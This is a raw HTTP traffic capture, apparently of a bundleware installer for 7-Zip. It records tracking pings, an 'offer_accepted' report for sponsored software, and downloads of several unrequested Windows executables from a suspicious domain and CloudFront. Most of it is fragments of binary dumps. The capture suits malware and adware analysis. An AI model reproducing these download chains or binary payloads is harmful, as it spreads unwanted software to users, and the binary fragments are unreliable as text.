......rC.|.%......Am.-.K.fRa#.Z....W..N.........E.....w.G..Z..aJsK...A
.m..........F$..H.....l.A.....U>g.O..o..^(O.*...d..oG]~.._OY}.....$
..|.....S.....V.....h_?.....pB.Z,...n?.-.......X....ey%r.|f..;.w...f.j
q.Z9......1..a.g[.Qd..|B;.j....S( .._.....K.v......<..lW.......Nb.y
L....Tp!...P.\.:,>..uR.)y.^7.jE.\uA...,_H.:.,n...b...z.a/..#..?<<< skipped >>>

GET /__utm.gif?utmwv=5.6.1&utms=5&utmn=719051976&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Installer_Init&utmht=1420692894104&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Sun, 28 Dec 2014 22:33:44 GMT

Server: Golfe2

Content-Length: 35

Age: 886890

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Sun, 28 Dec 2014 22:33:44 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 886890..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;..

GET /?e=dfd73&clsb=1&publisher=55627&prv=PriceLess&sfx=1&hid=16567493462586752620&cht=2&dcu=1&cpatch=2&dcs=1&pf=1&ne=1&prs=4&pnum=2&jc=1 HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17

Host: download.beautyzillionopticusanews.info


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:56:57 GMT

Content-Type: application/octet-stream

Content-Length: 4323840

Connection: keep-alive

Set-Cookie: __cfduid=d43e13978339011d3c8ef8084f8f22c661420693017; expires=Fri, 08-Jan-16 04:56:57 GMT; path=/; domain=.beautyzillionopticusanews.info; HttpOnly

Content-Disposition: attachment; filename="Ca1406r0Iz9Tfi.exe"

Content-Transfer-Encoding: binary

Access-Control-Allow-Origin: *

Server: cloudflare-nginx

CF-RAY: 1a55cfbdf8131577-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$............`...`..
.`..B.C..`..B.A..`..B.B..`...`.."`..O.5..`...`...`..q.E..`..q.@..`..Ri
ch.`..................PE..L......T.....................f,.....r.......
......@..........................`[email protected]........
............?.P....`A.......................A..J......................
............0...@............... ............................text...N.
.......................... ..`.rdata....*.......*.................@..@
.data...<[email protected]........`A.......A....
.........@[email protected]..*`[email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................................U..SWV.
......E.......U.......E..M..U..u..E.N#t.............`.E..M............
.E.-M#t..E...Y.........E.-..3..E.............E.-&....E...|....V....E.-
.....E.............E.-.....E............. ...-.....&...............E..
...<..E...v.........E.->.d..E...H.........E.-..3..E.............
E...|q.n.E...".........E.-.....E.............E.-?.d...................
...-vk...E...!....p....E.-.....E........Z....E.-.....E........D....E.-
.....E...S.........E.-N#t..\..... .........E.-...`.E...2..........

<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 1ca15863d88101d4cb39118eb1cb46b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kb1f0M5LOWvEObEvHoeBdoz9Eyu4Sgkabx68pTwmw3JhUxPjXIGW-g==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I....

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&0.9080673077393329 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:04 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zibdkqophOiGytcnwmPgONz5diSt6mZmERBvjkO6U9XGGM8MGf_u4A==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZnEyBwdJ2pMvsm2wyrAz43vuaaKdBCSScVE-wdTapRPvCPyW_6gt-A==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../[email protected]
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
..n.n.S.-JeQ..r.F)/..W.O|...'b8.|.l.....Fw.f..y......jB../.iVg........
#... ..D.....[.....x..,.:).]b...K.h%.\.}....| ..P......1: K..?..ux...P
...7w.5-..w.U.I.e{.fh]...........M....<..&...3..........].F..aY.Rj.
......D.3.Q..Y..../?.5......j..........L.P,...7.....]........UUP8X..V7
...=....-.......`;^.,P...b.U.....K.l....yV..0..z.....[Q..!..I......w.B
.nNB0...>.._Q...]V...sm........8.9..3.Kw.B Gl&.....g...0Au...P!...t
..... a.X..v....R...;..W.......6..e..Cu.,%...u....[..<i:....#..{[..
8...q..&._...\.r.4.Uwg5.K|..jaf1P..21.8..R.:[..]...p.bs.8..J6..LJ.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xyTjzsKqVFnST_aAhigrnQaWHcDJT-qwUgD57ltAcKs40_1pUMLq3w==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;[email protected]._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`[email protected]!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..tV..a.K..Qd..)..>O_....-Zj..K<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1250000-1499999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EbWvf7yIi16IQ14P7s0m-UwcPyn0YiX6brvCwG-wtVf7cQn9qm7Slg==
.NiH..Z.u.......H..j-.[Z%..!6b......6\#.m....:9... ......n%b.J.uI.4...
..n...=.cK.v.x-..,.T"^/4...*.....<U....._5._..<M|...=.i]....n...
YV.....W..V...H.;.....P....R....ynw.'.y....Z...:[.9)Q.&9.....r....D...
66Y..W.....rij.......,.2c.....<..ia$8....H.]..../."W...W.'.-V..z...
...C....Z...o.%.;."......5M.|..NBg.......[..........3......f...n~..M.D
.d2.....".>.T.]==.....?Fy.N..%?.d..,~...P....{..`>.6...$..d3^g..
w..ec...a.O.d.m`[email protected]......<r5.S.............o3M.
..R.s._$-...$.(...8.*.6.%>.~..5...}P.c..d3..2..0....P.U.j.!..8q..MN
...B.PN..c.....7).K.....u..F..$....z..."V..N../~@...."..M...M`[.......
.....i..1Kf......NR......*.1.P]&5gwm(..`.l3..L.HT.Et9.N......K.dc....)
4vU...)<hp|.........Sj/.4H....... 7...'.R..o..[. .._.K....:..S..{..
&J:...>.b..k...*..k.^~.... 8;n....B2.?..0&.n...-6.0....c..7..4B....
~.....jI...K1..G..ISZ^....E.;T.......2y.|..{...\s...s.g...ma.{:#yT....
..k.....y...<[...|ts..].0o..y...k....}....W.y..u....<..T....:O.-
u..y.<.'.y>..?......:....y6.z.|.......o.y>.i.d=k.....u....d.F
Y.E.......;2........2.zY.>....:O..g....O.n.u.w[.'....&......3m.C...
G.5%'|....^............y.(........m".w.....d)1.|b.8...t....5T.Qa....`.
............6.t.6.....8.X.!..9.)......'... ....J*....C.M........,...d2
C.xZL..MJ{......u.D...b.~h...K.....YY.......k........Xi.Wtb.w).F;_i...
...q.~.'72D..t...)I.5...Om.......p.._..&..1....i)r...4o<.]..V..z.O.
[email protected].....?}..#.F:.. ..O...X..Uud..\/..y.P/..........B.Q...
A.C...v3.r.r..{.........s.&.q...h...g...R....$6W.........j\v..g0F.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1750000-1999999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DGr2qDh40EeanNVc7zPIO7AtDbM-KWf8SeYdN8MuKeHU3KrE5ex2CQ==
..P...n..q.r....c....'?Cs.kv..:.I...x.G..........u^...u.E%..B.N.8e..d.
Cg.. ...C.....ZI....z.>J.........$*.. }k.Vr...l.f...*...jAk..&~....
"SXpq.1...."...c..l.......2....bk..o.....\.a......^.i=.5.I.Z..Ox8%N ..
.B.....!(....c..j...9..z~B..`l&..Af...^[email protected]. ..=....L0U...
..)....9.....;`.....U.......(F.w....s....s......[....e<.|;9..i.Gh..
.5~h85.S.L.H)t..K........xs.Z-b.........L..rL.Go.j..~...p..Ue..Z..'...
..T.O.?.M...x].E....W.K6>...<......... ......f.=...........Y8..?
..Pa..c..C...J...X....[C;.t.....C. .......p.].l2~.=....=..R...gK...F.d
;npk&.E...}....[..U0..@..][email protected]=.m...R...........UT...........*..=...W.
.5.F\.Y..;..c4...P.D5..'j,9.........Z..(....2..E4.....&.......V<..T
(....GP}7,....2.c...!._w. .WI......k.R`U....,.....j..(......n...H}....
a.<..q...).........*[email protected]^SLX..e._..F....N.
.......u#.RCI|).&..c......<....4..=:..`.-.d..H...Z.X>n.....4.VV.
..g.&.{a~.^.......f.......T.f.}[email protected](;.JYQ.
<.....-.}h.g......6.S.'[........{fi..W..!..K.._.Uq..w..m.u.. (.....
...w...s^..R.T.ei..,.N)...y.G...?........q,...F..D.....-..^R.....kk..~
e....X....(<...7]..gTB...g.....}v.3W.t.h\g.....V...!..pD........'.E
......!...>2.G#B..f...E..&.=p.L.b$:.....%.N..E......A5</.......$
/../...bu$...;.V.V;1......y.%...2..8...K.".....p.....8..l.\^.>7h...
...-.....z.."o...T.|3...jP......[f'...y..ai..IA;..Q...?9j......X.4.'9-
.%..{............j..'I.h.....Q............l.......J.%8....e.:....$u.7[
e...].........d->.I.>N|*.....2.......GO.... ....H.......J...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2500000-2749999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2-9jTA6o5DrOF1UW10Q9JPH7ekDcTg_g0EK0RKVNQbmm7Pc4Jzl_nQ==
....jh ..M.....I.. x.....;bjX.;l....%..(w..>"V......^.....l.^...r..
. (c.n..dI.R#...o......m.,G.......(.Y/.H...l.........:=...YZ.>U.6..
.. .$<.......9.U...... r..Mi..=...}..=3.........t.uO.&u.4?.....^x38
..6.{.....a .6.K..e...8.'..rT`J. ...`.....#,YU..C.et...R...$q,.`AB.d.]
.=].u...z....../.9.v..2........[`./..~..:6G9.9..yE.S........6...O....H
m..l...i.=nI;).;....]..........5E..5......W.rTN.?.{X4.#.(...4p.J'....q
.|5IX..g{2..........w.!.Z......'*{....<..!......5 ..?D.....&&.!4..!
x....r..}..5..|...........'..................d..........sg...4.x...i..
j.......BzJ...Y.|Aow.x.(.;g.|p...b..!.2.%k..b.V.(.B......:..kD.../..5q
...d.p.3v.A{....ty.B[;Cr.....}Y.a.x_ ..5...~...O.3.f..".~ ....m0..)..i
......![.bT..n.P.n>i)]X..cW}K.....vB.0.L.2.cGv..S.._K|~..._YSF\CX"I
........!...:.$.......A...f.%.E...`|.E.9..P...].F..r.... <[email protected]..
...n.....1.0......>. .e.fl..|.k..3_8V..a.."{IxV..7.g ...p>.Lg...
...od..2......^.;..9B...q......e3..Y.....I."...h.*,Y( ...x%&XU..... t.
...P @7f.%LN...RuN............w..^...a..r....34g....R.0.=..`.....d..L.
..........=..Q.<.....P.X..6fH ........;.....)........i..~.{......O&
gt;.Y....r...K..{P....{..M...W..\....b..>..%. ..\....R..b.6...U...c
..p.I.....2.........._*..2..*z..>y.3.Y8l....&{...D....ms~.p......./
.Ey......x.f6.. I.f...K.H.._D..g(.1~..5..8}uQ..D1[R..r\.9u8Ns.Z[.k...;
G*3........&......s(x.6n>..q...1.q{.jp..}....)._s.^...fp.i.PRS..N..
U,..@{N!....:..7 ..=......O..E..2 .4.?$.....?...B..P.a.-2.....t\5B .}.
...x..uK.1i.b....F...;...B.Y..-...m.....[..A$.#....T...<...d[..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3250000-3499999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XVXTgKnIc36zS7DEBEXpA4Yc1W_uM4bN-qo8uCJ6FiryxLtQ2AHdKw==
..m. ....w..`.\W... .......... .t5.v..`).]AAQ.]W..s....%uv..*[.\..\.[l
^]A(.. .zA.v............q.uv..... .......-.v..V......o..r.*.-;:$c4`.0.
|q............D..W....J....`p. ...].%.........u\C.Bz.W..w.T..h.. .....
....sn8..E;8OT*wp..S..X.i ..]..U.....A^@^.5.<.k8.9.2e..e.@..;..Wc..
...@.../.....z.^. .W......v[}...fa..b*....J.%."...G.Vi.u...b..n.(.8...
..m..g..#<.k....t.?.n..).Ep....5..I./ttd={X.(...Yf..?.(...\..*....P
.,..EJk.k./).6%..K.0.zr........#...w.._-,.%..=.....,..W......._...b=..
6.r..nm.Ju......\.D....W..es.Re...\..$...a7mAS. z......-....O.k.....z{
..lV....Pc....u..*h....#.3..u{......l..y.|.../..]%HwRay.Q..K|.BC.t..Y.
..WM.."t..$.^..EV..-.^hT@4....'.DY...(.....`~...E/./<"Ppm?.D.%.N.A.
 .../....`..>I([email protected]~.&.T.N.$..... ....L.W.fx.h-.[B..k".c
uDE(...*1`.8-.Z .b.../.-0M.."XE_....g.QS.O.B...(..T.m..(.......1..J/..
..}(....d|t.^8.. oN$\...>.)E....][email protected]..
.&.v..........}..)).%._.A..R1..T3.$7zVh.I..R3tX.*n.tZ..ux..HV.v.?...).
.=.H......u..swf.b...([.xA..[.G...B^d...;.$..}..,...L..x...}...$...zg.
.~?;?{.}.....r...T......2.........ESs..'.-;.........{Bo....g....u..2.2
...M.}h.~|6-.O.^..y|s4wU..K{Z.._..R..|*s....7....u</...5.......mS&l
t;Y.....|&.....>.y.....s= .8O...4r{...d.,.F.>...x/'.!...G....\{.
...$....J..X~...G.V.&....T...slG.E[He.}..q.R..iz ...i.E|.....&....N.$.
3.F.2......4....~.&z8[].Z]..o.=?]>d.b....}3.....G.q.#m....eF^.1($.G
q....^..[.__.....:.M.%.....>...%..g....?%s..RZ...eB....}&.J4....E|0
.k....'....r......9...*../....|....^.8i....K.{..5.#.Y..|v.;.).Y.K\<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



......uqeh:-.vE=....e...A..(.y..-..U...#R=.M....y..?m.......JN;O..9..:
.U$ e..Q>1$<..[........f.;>]]...a..,.E"N.0.T!.o.I.K.7 .......
..>3.O...l..^..X.V8H7%WY..(.:.d..[..#.....N..Q..^U.&..2n.w..M..79..
T..0...k'x....i..' ......X......QZg.....zmh......vB..w.......OgG.....P
.cw(.!.B.5...l~.Q*.{.z.O.7..Im...=w... rm..&..}Y..*Ny.1.W.....9...4a.h
..........u.0...g..np.p.......np.=.wa*~~.R..,.1.?..T g.V .Tw.g...N.)F.
....^....M:...v.IgC:*.8@...;[email protected]. a..!.Z$f..gp.....<.#
RJUID.;..b.d....{....~..V@..]...b.......w(.........w...&L...a..}7.....
8s.I'.....V2&..`..l8)..?.~....YwGNnEL....z... [|...![.~..]hI....'mRZuC
.h#..s*.y.1.^.u.a..g..W....^...-.z.5...f*'.......[......S...6....h.s..
